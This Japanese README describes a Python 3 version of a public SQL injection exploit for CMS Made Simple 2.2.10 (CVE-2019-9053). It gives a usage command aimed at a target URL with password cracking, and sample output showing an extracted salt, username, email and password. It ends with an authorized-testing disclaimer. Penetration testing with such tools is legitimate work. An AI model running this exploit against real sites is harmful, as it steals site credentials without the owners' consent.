CMS-Made-Simple-2.2.10---SQL-Injection-Exploit-バグ修正済み

このエクスプロイトは、python 3をサポートするように修正されました。

CVE-2019-9053

オリジナルのエクスプロイトソース: https://www.exploit-db.com/exploits/46635

発生し得るエラーとその修正

Traceback (most recent call last): File "46635.py", line 12, in from termcolor import colored ImportError: No module named termcolor

修正

pip install termcolor

コマンド例

python cve.py -u http://target --crack -w /usr/share/wordlists/best110.txt


結果の例:

root@kitploit:~

  [+] Salt for password found: 18
  [+] Username found: mitw
  [+] Email found: adk
  [+] Password found: 0c01f4468d

ユーザーは、このツールを使用して実行されるいかなるアクションに対しても全責任を負います。

これらの条件に同意できない場合は、このツールを使用しないでください。

このツールは、ペネトレーションテスト活動を実行する許可がある環境でのみ使用してください。

このツールを悪意のある目的に使用しないでください。